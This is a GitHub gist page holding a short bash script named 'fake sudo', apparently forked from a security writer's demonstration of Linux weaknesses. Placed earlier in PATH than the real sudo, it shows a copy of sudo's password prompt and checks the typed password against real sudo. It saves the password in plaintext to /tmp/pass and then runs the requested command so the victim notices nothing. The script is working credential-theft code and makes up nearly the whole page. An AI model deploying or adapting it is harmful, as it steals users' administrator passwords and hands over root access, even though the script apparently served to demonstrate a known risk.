Original from madaidans-insecurities.
Last active
March 21, 2021 17:03
-
-
Save konfou/a21b3f1658d3d010fdccd1503f2d9c78 to your computer and use it in GitHub Desktop.
fake sudo bash script
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
DIR=$(dirname "$0") | |
if [[ $PATH == ?(*:)$DIR?(:*) ]]; then | |
PATH=${PATH/#"$DIR:"/} | |
PATH=${PATH//":$DIR:"/":"} | |
fi | |
if [[ "$*" == "" ]]; then | |
sudo | |
else | |
sudo -k | |
while true; do | |
read -srp "[sudo] password for $USER: " | |
echo | |
if echo "$REPLY" | sudo -vS &>/dev/null; then | |
echo "$REPLY" > /tmp/pass | |
break | |
fi | |
done | |
sudo "$@" | |
fi |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment